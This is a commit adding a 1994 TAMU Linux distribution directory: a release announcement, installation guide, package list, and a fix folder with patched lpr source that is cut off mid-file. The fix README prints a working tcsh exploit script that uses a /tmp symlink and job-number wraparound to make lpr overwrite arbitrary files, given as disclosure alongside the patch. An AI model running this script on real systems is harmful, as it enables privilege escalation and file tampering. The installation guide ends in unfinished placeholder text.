add directory distributions

This commit is contained in:
gohigh
2024-02-19 00:23:20 -05:00
parent eb168dd24f
commit b50063d9b3
934 changed files with 101264 additions and 0 deletions

View File

@@ -0,0 +1,83 @@
ANNOUNCING TAMU-1.0D Linux Release
DESCRIPTION:
TAMU-1.0D is the latest release in the TAMU linux series. Like the
previous release, this one includes both *full* source and binary
sets. The source set is an integrated BSD style source tree with the
*entire* binary set created from a single top level make in this tree.
make. This ensures that all programs are compiled and linked with the
same current tools and libraries, and guarantees availability of
working source for every program in the binary set.
In addition, the boot diskette fully automates the installation
process, including partitioning, lilo bootstrapping, and network
configuration. Installation requires no rebooting, and requires the
user to know only the host's name and IP address. At every step of
installation, the program provides intelligent defaults, making it
a snap for novices, while allowing experts full flexibility in setting
installation parameters.
This release has had several months of beta testing (.99p15.., 1.0,
1.0A), fixing hundreds of bugs that were in prior TAMU releases, and
adding significant new features.
The end of this announcement gives a detailed list of the contents
of this release. Highlights include: linux-1.0, libc-4.5.21, XFree86-2.1,
chimera-1.50 (a mosaic clone that does not need motif), fvwm-1.22f,
xfm-1.3 (now with shaped pixmaps), ghostscript-2.6.1, and tcl/tk with
xf (an automated gui application builder).
AVAILABILITY:
The binary and source sets are available in both 3.5 and 5.25"
labeled diskette images. The sets are also available as individual tar
files or packages. All files are at:
net.tamu.edu (128.194.177.1), in the directory
pub/linux/TAMU-1.0D
REQUIREMENTS:
The binary set includes 1 boot, and 21 bin diskette images, and the
source set includes 37 diskette images (22 and 44 respectively for 5.25
inch diskettes). When installed, the binary set needs about 90MB of
disk space (this includes swap and filesystem overhead). The sources
take an additional 200MB, and need around another 50MB temporarily
during compilation. Individual packages within the sources can be
compiled independently, so you don't have to retrieve all 200MB to
modify one program. The source packages have, however, been configured
to compile under the TAMU-1.0D binary set, so there are no guarantees
they will compile on other systems.
PHILOSOPHY:
The source release is based on an integrated set of source packages.
This combines the advantages of a BSD style fully integrated release
(single top level make ...), with the flexibility of separate source
packages (it's easy to drop in new versions as they appear).
This release is FSSTND compliant, with only a few minor exceptions.
CONTACTS:
Please send questions, comments, and bug fixes to:
dave safford
dave.safford@net.tamu.edu
DETAILED CONTENTS:
XFree86-2.1 Xlock a2ps archie-1.4.1 as86 at-2.5 base bash-1.13.5
bind-4.8.3l binutils-1.9l.3 bison-1.19 boot bootpd-2.1a bootutils-0.1
bwnfsd chimera-1.50 cron-3.0.1 diff-2.1 e2fsprogs-0.5 efsprogs
elvis-1.7 emacs-19.22 file-1.25 fileutils-3.4 find-3.8 finger-5.22
fingerd-5.6 flex-2.3.7 fromto ftp-5.9 ftpd-5.6 fvwm-1.22f gas-1.38.1l
gawk-2.15.2 gcc-2.5.8 gdb-4.6 ghostscript-2.6.1.p4 gprof grep-1.6
groff-1.08 gzip-1.2.3 inetd-5.3 init ispell-4.0 kbd-0.83 kermit
kmem-ps-0.99.14 ld.so-1.4.3 ld86 less-177 libc-4.5.21 lilo-14 linux-1.0
lpd-5.12 make-3.70 man-1.1 modutils-0.99.15 moxftp-2.0 mtools-2.0.5
ncurses-0.7.2 net-032 net2pch nfsd-1.4 nntpd-1.5.11 patch-2.0.12u8
pbmplus10dec91 pcnfsd-1.4 perl-4.036 ping-5.9 poeigl-1.21 popd-1.001
pwd rcp-5.32 rlogin-5.33 rlogind-5.53 routed-5.23 rpc-0.9 rsh-5.24
rshd-5.38 ruptime-5.7 rwho-5.5 rwhod-5.19 rzsz-9202 sed-1.13 seyon-2.12
shadow-3.3.1 shellutils-1.8 smail-3.1.28 strace-2 talk-5.5 talkd-5.8
tamu_install tamu_src tar-1.11.1 tcl-7.3 tk-3.6 tcpd-1.4 tcpdump
tcsh-6.03 telnet-5.52 term-1.11 textutils-1.4 tftp-5.1 tftpd-5.13 time
tools-2.10 tput-1.0 traceroute umail-360 usr.dict usr.man utila-1.5
utilb-1.3 utile-1.5 vgaset wmail-401c wnews-402 x3270-3.0.1.3 xdos-03f
xf-2.3 xfm1.3 xinvaders.p2 xsol xpm-3.4a xtetris-2.5.2 xxgdb-1.06

View File

@@ -0,0 +1,4 @@
ERRATA file for BETA-TAMU-1.0D - 5/27/94
Check ./fixes for respective fixes.
NONE (so far :-)

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@@ -0,0 +1,569 @@
TAMU-1.0D Linux BINARY SET
Installation Instructions
MINIMUM HARDWARE REQUIREMENTS:
80386 CPU
4MB or more of RAM, 60MB of disk space (base)
RECOMMENDED HARDWARE:
80486 CPU
8MB RAM 100MB disk
------------------------------------------------------------------------
BEFORE INSTALLATION:
1. Retrieve the appropriate files from net.tamu.edu:
boot
bin.*
Note: the boot diskette must be used in your drive A:
but you may use any floppy drive for the install disk set.
So if you have a 5.25 a: and 3.5 drive b:, the boot
diskette must be 5.25, but the install set may be either
5.25 or 3.5.
2. Transfer the images to diskettes with either dd (unix) or
rawrite (dos). (Rawrite and uncompress for DOS are available
from net.tamu.edu in util/dos-utils). By the way, dd runs
MUCH faster to floppies on a Sun if the blocking is set up
correctly. For 3.5 inch floppies on a Sun sparcstation:
dd bs=18k conv=sync if=boot of=/dev/rfd0
NOTE:!!!
The bin.* files are diskette *IMAGES*. That is, they exactly fill
a raw diskette, and cannot be copied as files to diskettes as a DOS
file. If you try under DOS to do "copy bin.01 a:" the file will
not fit. You must use some tool like rawrite to write the image to
diskette.
The rawrite steps can be combined/simplified with the use of the new
"rawfd" dos device driver, available in the dos_utils directory on
net.tamu.edu:pub/linux. This raw floppy device driver (which can be
loaded in config.sys, or from the dos command prompt) allows one to
ftp *directly* to the raw floppy disk, as if it were a regular
destination file. For example, the ftp command "get boot rawfda"
would ftp the boot disk image, and write it directly to the raw
floppy in drive a:. In addition, rawfd will also format the floppy
as it writes out the data, thus saving another step.
3. Determine necessary information about your configuration:
With the new automated installation, the only required information
you need is (and you need this ONLY if you are networked):
hostname
ip address
netmask
local nameserver address
local default route address
This package uses the standard linux naming scheme:
fd0H1440 3.5 inch HD floppy (a:)
fd0h1200 5.25 inch HD floppy (a:)
fd1H1440 3.5 inch HD floppy (b:)
fd1h1200 5.25 inch HD floppy (b:)
hda entire ide/mfm first *drive*
hda1 .. hda4 first thru fourth *partition* on hda
hdb entire ide/mfm second *drive*
hdb1 .. hdb4 first thru fourth *partition* on hdb
sda entire scsi first *drive*
sda1 .. sda4 first thru fourth *partition* on sda
------------------------------------------------------------------------
INSTALLATION:
If your disk will be sharing space with other operating systems, such
as DOS, INSTALL THE OTHER SYSTEMS FIRST. My preferred layout is OS/2
on partition 1 using HPFS, DOS/WIN3.1 on partition 2 using FAT, an
extended partition on partition 3 with a FAT filesystem (so it appears
as drive d: to both OS/2 and DOS), and linux in partition 4. If you
install them in this order, and in these locations, then TAMU linux's
bootactv can be used for boot time selection, and OS/2's Boot Mangler
is not needed. (REALLY!)
There are two installation methods: a simple menu driven installation
script for most configurations (single linux root partition),
or manual installation for experienced users with more complex needs.
AUTOMATED INSTALLATION:
1. Boot the "boot" diskette.
IMPORTANT INFORMATION ABOUT AVAILABLE BOOT KERNELS:
The boot diskette has two tiny kernels: one for scsi
or ide disk systems, and one just for ide based systems.
Both tiny kernels have all unnecessary drivers, such as
networking, CDROM, and special serial/mouse drivers
removed, as these sometimes conflict with a given
hardware configuration. By default, lilo will boot the
combined scsi/ide kernel in ramdisk mode. If you have
an ide only system, and the scsi probing code conflicts
with your hardware, you can try the ide only kernel.
If you press <tab> at the lilo boot prompt, you will
see a list of available boot modes:
ramdisk (scsi/ide kernel)
floppy (scsi/ide kernel)
harddisk (scsi/ide kernel)
ide_ramdisk (ide only kernel)
ide_floppy (ide only kernel)
ide_harddisk (ide only kernel)
The automatic install requires that you boot in the ramdisk mode.
If you have insufficient memory for this, you can do a manual
install from a floppy mode boot. The harddisk mode boot is
useful as a backup way to boot a linux hard disk partition,
if you have problems with the normal lilo boot.
The installed linux system has a full "generic" linux kernel
(/vmlinuz) with ide, scsi, drivers, along with all possible
network and mouse drivers. If the boot diskette works, but
the installed hard disk kernel has problems booting due to
driver conflicts with your hardware configuration, you will
have to boot the hard disk using the boot diskette (selecting
either the "harddisk" or "ide_hardisk" modes, and then
configure and build a kernel tailored for your hardware
(as discussed in "Rebuilding the kernel:" later in this document).
The lilo boot program will prompt for "Boot" device -- press a
shift key to see a help screen listing boot choices, and then simply
press enter. (If you have a value point or other non-standard hardware,
you may need to enter some lilo boot parameters here - see the
examples on the boot information screen, or the latest FAQ for details.)
As the kernel boots, you will be asked for video
mode desired -- either select one of the choices, or let the
prompt time out. You will finally see a menu:
Linux Maintenance Diskette
1 - Install a full distribution set
2 - Exit to linux shell
press '1' and enter, to start the automated installation program.
If you want to do a manual install, or other maintenance, press 2.
2. Running the automated installation program:
The program will first ask a series of questions to determine
the desired installation configuration. In every case, a
default answer will be provided, and this default answer will
be displayed in parentheses (default) at the end of the question.
To accept the default answer, simply press enter.
The questions asked are:
- What floppy drive will be used for installation?
simply pick (1-4) from the menu
(A list of available partitions (including any free partitions)
are then presented.)
- Do you need to run fdisk now? (n)
you need to run fdisk only if none of the displayed
partitions (including any free space) are suitable.
- Which partition will be used for linux? (/dev/hda1)
The default partition is chosen to be the largest linux or empty
partition found. Non linux partitions will not be automatically
selected as default partitions, but they are displayed on the
list, and can be chosen.
- Setup swapping (for 4MB ram or less)? (y)
Swapping to a 4MB swap file will be configured by default unless
there is insufficient space in the selected partition.
Swapping must be selected if you have 4MB of ram or less,
or subsequent steps may run out of memory.
- Install all files? (y/n)
The default is to install all files in the distribution set.
If you would like to selectively install packages from the set,
enter 'n'. The installation program will then ask you to remove
the boot diskette, and insert the first data diskette, so that it
can read the Table Of Contents (TOC). once it has read the TOC,
it will for each package list the package name and size in bytes,
and ask if you want it installed. The TAMU-1.0D TOC list contains:
Package Name Size (bytes) Diskette #
base 3508234 1
extra 4830318 1,2,3
network 1084081 3
development 11282586 3,4,5
kernel_src 5081820 5,6
man_pages 7048497 6,7
emacs 15305892 7,8,9
ghostscript 1022020 9,10
groff 1964556 10,11
libc-lite 619524 11
X_libX11 478272 12
X_base 25698219 12,13,14,15,16,17
X_server_8514 848900
X_server_Mach32 885764
X_server_Mach8 869380
X_server_Mono 771076
X_server_S3 947204
X_server_SVGA 947204
X_server_VGA16 791556
X_man_pages 4237255
X_server_kit 3501751 21
The base package is the only required package. It contains the
kernel, /bin, /sbin, /boot, /lib, and some /usr/bin files
necessary for booting a basic linux system.
The X_libX11 package is separate from the rest of X_base,
as it must be included if you load the emacs package.
You need at least one of the X_server pakcages, based on your
your graphics hardware. The X_server_kit is optional.
- Do you want BOOTACTV (boot time partition selector) installed? (y)
bootactv is a simple MBR (master boot record) boot partition
selector. You want this if you have multiple partitions
on the first drive. You don't want it if you need to boot
linux on a second drive partition, as in this case, LILO
needs to be put in the first drive MBR. (see next question)
- Where do you want lilo installed? (/dev/hda1):
If you asked for bootactv, the lilo bootstrap will default
to the selected linux partition. If not, lilo will default to
the MBR.
- What is this machine's hostname? (tamu)
Simply enter the machine's desired hostname (default "tamu")
- Do you want networking configured? (y):
simply enter 'n' if you don't want networking enabled.
If you asked for networking, you will get the following added questions:
- What domain is the machine in (tamu.edu)
simply enter your IP domain name
- What is this host's IP address (192.9.200.1)
enter your host's IP address
- What is the netmask (default)
The presented default is correct for standard class A, B, or C
networks. If your net is subnetted, you will need to override
default with your local netmask. For example, tamu.edu
has a class B network (128.194), so the default presented
is 255.255.0.0, but we actually are subnetted with mask of
255.255.255.0
- What is the network's address (default)
The network address is (your IP address & NETMASK),
ie a host part of all zeros.
The default should be correct unless your subnet mask is
not on a byte boundary, in which case you may need to override
the presented value.
- what is the broadcast address (default)
The broadcast address is (your IP address | !NETMASK)
ie a host part of all ones.
The default should be correct unless your subnet mask is
not on a byte boundary, in which case you may need to override
the presented value.
- What is the default gateway (default)
The calculated default is host 254 on your network. You will
probably want to change this.
- What is the nameserver address (default)
The calculated default is host 254 on your network. You will
probably want to change this.
Once these questions are answered, the program will display the selected
partition, and ask for confirmation to proceed. The default on this
question is 'n' -- you HAVE to enter 'y' to proceed.
The rest of the installation is automatic - it will tell you to take
out the boot diskette, and enter the bin.* diskettes one at a time.
Note that the new installation program is very forgiving of errors;
if you insert the wrong diskette, it will tell you which disk you
inserted, and ask for the correct one again. When the installation
is finished, it will remind you to remove the last data diskette,
and reboot (use ctrl-alt-del).
The first time you reboot, fsck may check the root partition.
In all subsequent reboots, as long as you use halt or reboot, the
filesystems should be clean, and fsck will skip the time consuming
checks.
RUNNING FDISK:
If you do want to run fdisk manually:
If you want to run fdisk during the automated installation, simply
enter 'y' at the appropriate question.
You will be asked which disk device to partition, such
as hda, hdb, sda, sdb as discussed above.
Fdisk has command help available with the "m" command.
"fdisk" should be able to determine your disk's geometry. If not,
you will need to tell it the number of cylinders, heads, and sectors
of your hard disk. Use the "x" command to switch to expert menu.
Then use the "c" command to specify the cylinders, "h" command to
specify heads, and "s" command to specify the sectors of your disk.
Now use the "r" command to return to the starting menu.
The instructions here are a little less clear since your partitioning
preferences may be different. I will give an example of 3 partitions,
one for DOS, one for swap and the other for the root filesystem.
I have a 90M drive that I want to partition into 10M for DOS,
10M linux swap and 70M linux root file system.
First I use the "p" command to print the partition table. I see
that my disk has 1024 cylinders, and that partition 1 (DOS) covers
cylinders 1 through 114. Then I use the "d" command to delete any
partitions other than DOS (partition 1). I then use the "n"
command to create new partitions. "fdisk" will ask me if I want a
primary of extended partition: use primary. Next it will ask me
where to start the partition: I use cylinder 115. I want my first
partition to be a swap partitoin of size 10M. The computer asks me
how big to make the partition: I enter 114 cylinders. I create a
second primary partition starting at cylinder 229 and make it 796
cylinders in size.
By default, all partitions are created as Linux/MINIX partitions.
Since we want to use partition 2 for swap, we need to change its
type, or "system id". Use the "t" command to change the type:
choose partition 2 and choose type 82 "Linux swap". Similarly,
partition 3 needs to be changed to type 83 (extfs). A complete
list of supported partition types can be obtained using the "l"
command.
Before we go, use the "p" command to print the partition table and
note down the number of blocks for each partition. We will need this
in the next step.
We are now done with this. Use the "w" command to write the information
to disk and exit "fdisk".
When you exit fdisk, you will be reminded to reboot, which you must do
now, if you changed any partition information with fdisk. To reboot,
press <control>-<alt>-<delete> keys together. If you did not make
any changes, simply press return to continue installation.
------------------------------------------------------------------------
MANUAL INSTALLATION:
1. Boot your computer with disk "boot".
At the maintenance menu, select (2.) to exit to a command shell.
2. Run the "fdisk" command. Partitions the disk as desired and note down
the number of blocks allocated to each partition. (see the earlier
description of this.)
[ /sbin/fdisk /dev/hda ]
3. Reboot your machine.
(Ctrl-Alt-Del or push reset button).
4. Run "mkefs" to create the file system on all non-swap partitions.
[ /sbin/mke2fs -c /dev/hda2 72345 ]
(I pulled 72345 out of air for this example, but you should used
the number of blocks fdisk reported in the previous step.)
5. do the actual installation:
[ mount -t ext2 /dev/hda2 /mnt ]
[ cd /mnt ]
[ label -u -i /dev/fd0H1440 |gzip -d|tar xBpf - ]
(change hda2 fd0H1440 and 1440 as appropriate)
6. configure the new root files:
[ cd /mnt/etc ]
[ /mnt/usr/bin/vi system_config ]
this file contains definitions for the system configuration.
edit the example values appropriately.
[ ../sbin/doconfig ]
7. If you have more than one operating system (eg DOS and Linux)
and want to have boot time selection of which operating system
to run, install bootactv on your boot drive:
[ cd /mnt/boot; /mnt/bin/cp bootactv.bin /dev/hda ]
( substitute your drive name for "/dev/hda")
8. prepare for reboot:
[ cd / ]
[ umount /mnt ]
[ sync ]
------------------------------------------------------------------------
FURTHER CONFIGURATION:
1. remove all floppies, and reboot the machine:
[ control-alt-delete ]
2. Log in as root by typing "root" at the login prompt.
[ root ]
set a password for root:
[ passwd ]
3. You are now mostly done. You may still need to configure /etc/mtools,
/etc/fstab (if necessary for cdrom ...), and
/usr/X386/lib/X11/Xconfig.hostname. You may also want to rebuild
the kernel for your configuration (the default kernel has only
necessary devices in it, and assumes you have only a 80386 processor).
Hints for the last two follow later.
4. If you need to change any of the configuration values entered
during installation (such as ip address ...), you need to change
the respective entry in /etc/system_config. If you are turning
networking on for the first time, you will then need to run
doconfig, which creates some networking config files based on the
system_config information. NOTE that this will update /etc/fstab,
so if you have customized it, save a copy and restore it afterwards.
FINAL TIPS:
1. use "useradd -m user_name" to build a regular user account,
(the -m switch uses the /etc/skel files for the user home skeleton).
You will need to set a password for them ("passwd user_name").
2. root and the user skeleton is now configured to use fvwm.
Fvwm is configured to popup window tools on the left mouse button,
utilities on the right button, and games on the middle button.
(If your mouse has only two buttons, the middle button is emulated
by pressing both buttons simultaneously.)
3. For a fun demo of ghostscript, use xfm to cd into
/usr/lib/ghostscript/examples, and drag/drop any of the examples
onto the xfm application "ghostscript".
4. if you rebuild the kernel, be sure to run "ps -U" to update
/etc/psdatabase. Do this before doing a "make clean" in the
/usr/src/linux directory, as the system file in /usr/src/linux/tools
is needed by "ps -U".
5. if you are new to Linux, be sure to try the four virtual terminals,
available with <left-alt>-F1 thru <left-alt>-F4. Under X-windows,
the virtual terminals are reached with <ctrl>-<alt>-F1 thru F4,
and you return to X with <alt>-F5.
6. You can use the boot disk for maintenance (in case of filesystem
problems, the disk has e2fsck), or for reinstallation from your
own backup set. NOTE - the maintenance disk does not have 'ls'
so you can't look around. /sbin has most system commands
(mount, umount, fsck, mkfs...), and /bin has most /bin commands.
7. to make a backup compatible with the installation disk:
[cd /]
[tar cf - .|gzip|label -o /dev/fd0H1440 ]
(or as appropriate for your floppy)
questions/comments to:
dave safford
dave.safford@net.tamu.edu
----------------------------------------------------------------------------
Rebuilding the kernel:
1. cd /usr/src/linux
2. run "make config"
This will ask which optional devices you want in the kernel.
3. run "make dep"
4. run "make clean"
5. run "make"
6. install the kernel:
cp zImage /vmlinuz
lilo
That's it!
----------------------------------------------------------------------------
XFree86-2.1 Configuration:
Getting the new XFree86-2.1 running involves three major steps:
1. point /usr/X386/bin/X to the appropriate server for you adapter.
2. Create the config file /usr/X386/lib/X11/Xconfig.<hostname>
3. Edit the config file for your mouse.
1. Choosing the server:
cd /usr/X386/bin
rm X
ln -s XF86_<type> X
where <type> is one of "SVGA", "8514", "Mach8" "Mach32", "S3",
"MONO", or "VGA_16"
2. Creating the Xconfig file:
There are several configuration options for XFree86-2.1:
A. Sample configuration files
B. Simplified scanning Xconfig.1m
C. The "right" (pain in the rear end) way
A. Sample Config files:
The directory /usr/X386/lib/X11/Xconfig.Samples has a number of
preconfigured Xconfig files for common adapters/monitors. Check
the index file to see if one is available. If one is, simply copy it to
/usr/X386/lib/X11/Xconfig.<hostname>.
B. SIMPLIFIED X Window Configuration
In /usr/lib/X11 there are several Xconfig templates:
Xconfig.hostname - *DEFAULT* - working copy of Xconfig.1M
Xconfig.1M - the install version for 1MB vga cards
Xconfig - working copy of Xconfig.master
Xconfig.master - standard X11 release version (manual install)
Xconfig.drs - this is my tailored copy of Xconfig.1M
By default, when you run "startx", the server will use Xconfig.tamu,
as the hostname is "tamu". This file is a working copy of the .1M
easy installation version for 1MB vga cards. If your vga card has
only 512K bytes of memory, it can not run in the 1024x768 resolution
modes, so you need to delete these modes from the Xconfig file. If
you are running on a notebook, you probably can use only the 640 x 480
modes.
Then, in Xconfig.tamu:
1. check the mouse definitions, and if necessary, comment out the default
(microsoft mouse on ttyS0, aka com1:) and uncomment the line
corresponding to your mouse type and port.
If your mouse has 3 buttons, comment out the "Emulate3Buttons" line.
2. run "xinit"
There will be 48 available "modes" that are essentially all possible
combinations of clocks and resolutions. You can cycle through all of
these modes by pressing control-alt-keypad+. (If your vga card has
512K, there will be only 32 modes). The modes are named "1" through
"48" and appear in that order. Most of these modes will show
garbage on your screen. Jot down the number (ie 1 - 48) of any
mode that presents a reasonable display (minor size or x/y offset
errors can be trimmed out later.) Hopefully you will find at least
one good mode for each of 1024x768, 800x600, and 640x480 display
resolutions. Exit X using control-alt-backspace, and then edit
Xconfig.tamu, to delete the "bad" mode numbers out of the "Modes"
line, leaving just the few good ones you jotted down. (You can look
at my final version in Xconfig.drs, which left just three modes on
the "Modes" line.)
That should be it! No puzzling over the vga database, frequencies,
clocks, or dot calculations! This has been tested on several machines
with Tseng, trident, and paradise cards. On my own tseng clone,
in 1 minute I discovered two very nice modes that I had missed in
hours of testing using other methods!
(2.1 If necessary, you may need to tweak the dot values in the corresponding
mode entries in the ModeDB section, if the display is a little off center.
Each mode line in the ModeDB section has 4 numbers for horizontal dots,
and four numbers for vertical dots. If the display is a little off in
the horizontal or vertical position, try adjusting the MIDDLE two
numbers in the respective horizontal or vertical set by 10 or 20 dots.
This needs to be done by trial and error, but at least you have a good
starting point. )
C. The "right" way:
Read /usr/X386/lib/X11/etc/?????? adn follow the instructions.
3. Setting the mouse:
asfasdf
asdf
asdf

View File

@@ -0,0 +1,21 @@
base 3508234
extra 4830318
network 1084081
development 11282586
kernel_src 5081820
man_pages 7048497
emacs 15305892
ghostscript 1022020
groff 1964556
libc-lite 619524
X_libX11 478272
X_base 25698219
X_server_8514 848900
X_server_Mach32 885764
X_server_Mach8 869380
X_server_Mono 771076
X_server_S3 947204
X_server_SVGA 947204
X_server_VGA16 791556
X_man_pages 4237255
X_server_kit 3501751

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@@ -0,0 +1,40 @@
ALL current versions of lpr on all distributions have a bug
that can give a regular user root access very easily.
The file "lpr" in this fix directory has this bug fixed, and
should be copied to /usr/bin/lpr (owned by root, group lp, mode 6755)
The file "lpr.c" is the patched source file, that should be copied
to /usr/src/usr.sbin/lpd-5.12/lpr/lpr.c.
The following is a script demonstrating the hole that was found on a
hacked machine.
--------------------------------------------------------------------
#!/bin/tcsh -f
#
# Usage: lcp from-file to-file
#
if ($#argv != 2) then
echo Usage: lcp from-file to-file
exit 1
endif
# This link stuff allows us to overwrite unreadable files,
# should we want to.
echo x > /tmp/.tmp.$$
lpr -q -s /tmp/.tmp.$$
rm -f /tmp/.tmp.$$ # lpr's accepted it, point it
ln -s $2 /tmp/.tmp.$$ # to where we really want
@ s = 0
while ( $s != 999) # loop 999 times
lpr /nofile >&/dev/null # spin the job number till it wraps!
@ s++
if ( $s % 10 == 0 ) echo -n .
end
lpr $1 # write source file over old data file
# user becomes owner
rm -f /tmp/.tmp.$$
exit 0

Binary file not shown.

View File

@@ -0,0 +1,720 @@
/*
* Copyright (c) 1983 Regents of the University of California.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. All advertising materials mentioning features or use of this software
* must display the following acknowledgement:
* This product includes software developed by the University of
* California, Berkeley and its contributors.
* 4. Neither the name of the University nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/
#ifndef lint
char copyright[] =
"@(#) Copyright (c) 1983, 1989 Regents of the University of California.\n\
All rights reserved.\n";
#endif /* not lint */
#ifndef lint
static char sccsid[] = "@(#)lpr.c 5.9 (Berkeley) 3/2/91";
#endif /* not lint */
/*
* lpr -- off line print
*
* Allows multiple printers and printers on remote machines by
* using information from a printer data base.
*/
#include <stdio.h>
#include <sys/types.h>
#include <sys/file.h>
#include <sys/stat.h>
#include <pwd.h>
#include <grp.h>
#include <signal.h>
#include <ctype.h>
#include <syslog.h>
#include "lp.local.h"
#include "pathnames.h"
char *tfname; /* tmp copy of cf before linking */
char *cfname; /* daemon control files, linked from tf's */
char *dfname; /* data files */
int nact; /* number of jobs to act on */
int tfd; /* control file descriptor */
int mailflg; /* send mail */
int qflag; /* q job, but don't exec daemon */
char format = 'f'; /* format char for printing files */
int rflag; /* remove files upon completion */
int sflag; /* symbolic link flag */
int inchar; /* location to increment char in file names */
int ncopies = 1; /* # of copies to make */
int iflag; /* indentation wanted */
int indent; /* amount to indent */
int hdr = 1; /* print header or not (default is yes) */
int userid; /* user id */
char *person; /* user name */
char *title; /* pr'ing title */
char *fonts[4]; /* troff font names */
char *width; /* width for versatec printing */
char host[32]; /* host name */
char *class = host; /* class title on header page */
char *jobname; /* job name on header page */
char *name; /* program name */
char *printer; /* printer name */
struct stat statb;
int MX; /* maximum number of blocks to copy */
int MC; /* maximum number of copies allowed */
int DU; /* daemon user-id */
char *SD; /* spool directory */
char *LO; /* lock file name */
char *RG; /* restrict group */
short SC; /* suppress multiple copies */
char *getenv();
char *rindex();
char *linked();
void cleanup();
/*ARGSUSED*/
main(argc, argv)
int argc;
char *argv[];
{
struct passwd *pw;
struct group *gptr;
extern char *itoa();
register char *arg, *cp;
char buf[BUFSIZ];
int i, f;
struct stat stb;
if (signal(SIGHUP, SIG_IGN) != SIG_IGN)
signal(SIGHUP, cleanup);
if (signal(SIGINT, SIG_IGN) != SIG_IGN)
signal(SIGINT, cleanup);
if (signal(SIGQUIT, SIG_IGN) != SIG_IGN)
signal(SIGQUIT, cleanup);
if (signal(SIGTERM, SIG_IGN) != SIG_IGN)
signal(SIGTERM, cleanup);
name = argv[0];
gethostname(host, sizeof (host));
openlog("lpd", 0, LOG_LPR);
while (argc > 1 && argv[1][0] == '-') {
argc--;
arg = *++argv;
switch (arg[1]) {
case 'P': /* specifiy printer name */
if (arg[2])
printer = &arg[2];
else if (argc > 1) {
argc--;
printer = *++argv;
}
break;
case 'C': /* classification spec */
hdr++;
if (arg[2])
class = &arg[2];
else if (argc > 1) {
argc--;
class = *++argv;
}
break;
case 'U': /* user name */
hdr++;
if (arg[2])
person = &arg[2];
else if (argc > 1) {
argc--;
person = *++argv;
}
break;
case 'J': /* job name */
hdr++;
if (arg[2])
jobname = &arg[2];
else if (argc > 1) {
argc--;
jobname = *++argv;
}
break;
case 'T': /* pr's title line */
if (arg[2])
title = &arg[2];
else if (argc > 1) {
argc--;
title = *++argv;
}
break;
case 'l': /* literal output */
case 'p': /* print using ``pr'' */
case 't': /* print troff output (cat files) */
case 'n': /* print ditroff output */
case 'd': /* print tex output (dvi files) */
case 'g': /* print graph(1G) output */
case 'c': /* print cifplot output */
case 'v': /* print vplot output */
format = arg[1];
break;
case 'f': /* print fortran output */
format = 'r';
break;
case '4': /* troff fonts */
case '3':
case '2':
case '1':
if (argc > 1) {
argc--;
fonts[arg[1] - '1'] = *++argv;
}
break;
case 'w': /* versatec page width */
width = arg+2;
break;
case 'r': /* remove file when done */
rflag++;
break;
case 'm': /* send mail when done */
mailflg++;
break;
case 'h': /* toggle want of header page */
hdr = !hdr;
break;
case 's': /* try to link files */
sflag++;
break;
case 'q': /* just q job */
qflag++;
break;
case 'i': /* indent output */
iflag++;
indent = arg[2] ? atoi(&arg[2]) : 8;
break;
case '#': /* n copies */
if (isdigit(arg[2])) {
i = atoi(&arg[2]);
if (i > 0)
ncopies = i;
}
}
}
if (printer == NULL && (printer = getenv("PRINTER")) == NULL)
printer = DEFLP;
chkprinter(printer);
if (SC && ncopies > 1)
fatal("multiple copies are not allowed");
if (MC > 0 && ncopies > MC)
fatal("only %d copies are allowed", MC);
/*
* Get the identity of the person doing the lpr using the same
* algorithm as lprm.
*/
userid = getuid();
if (userid != DU || person == 0) {
if ((pw = getpwuid(userid)) == NULL)
fatal("Who are you?");
person = pw->pw_name;
}
/*
* Check for restricted group access.
*/
if (RG != NULL && userid != DU) {
if ((gptr = getgrnam(RG)) == NULL)
fatal("Restricted group specified incorrectly");
if (gptr->gr_gid != getgid()) {
while (*gptr->gr_mem != NULL) {
if ((strcmp(person, *gptr->gr_mem)) == 0)
break;
gptr->gr_mem++;
}
if (*gptr->gr_mem == NULL)
fatal("Not a member of the restricted group");
}
}
/*
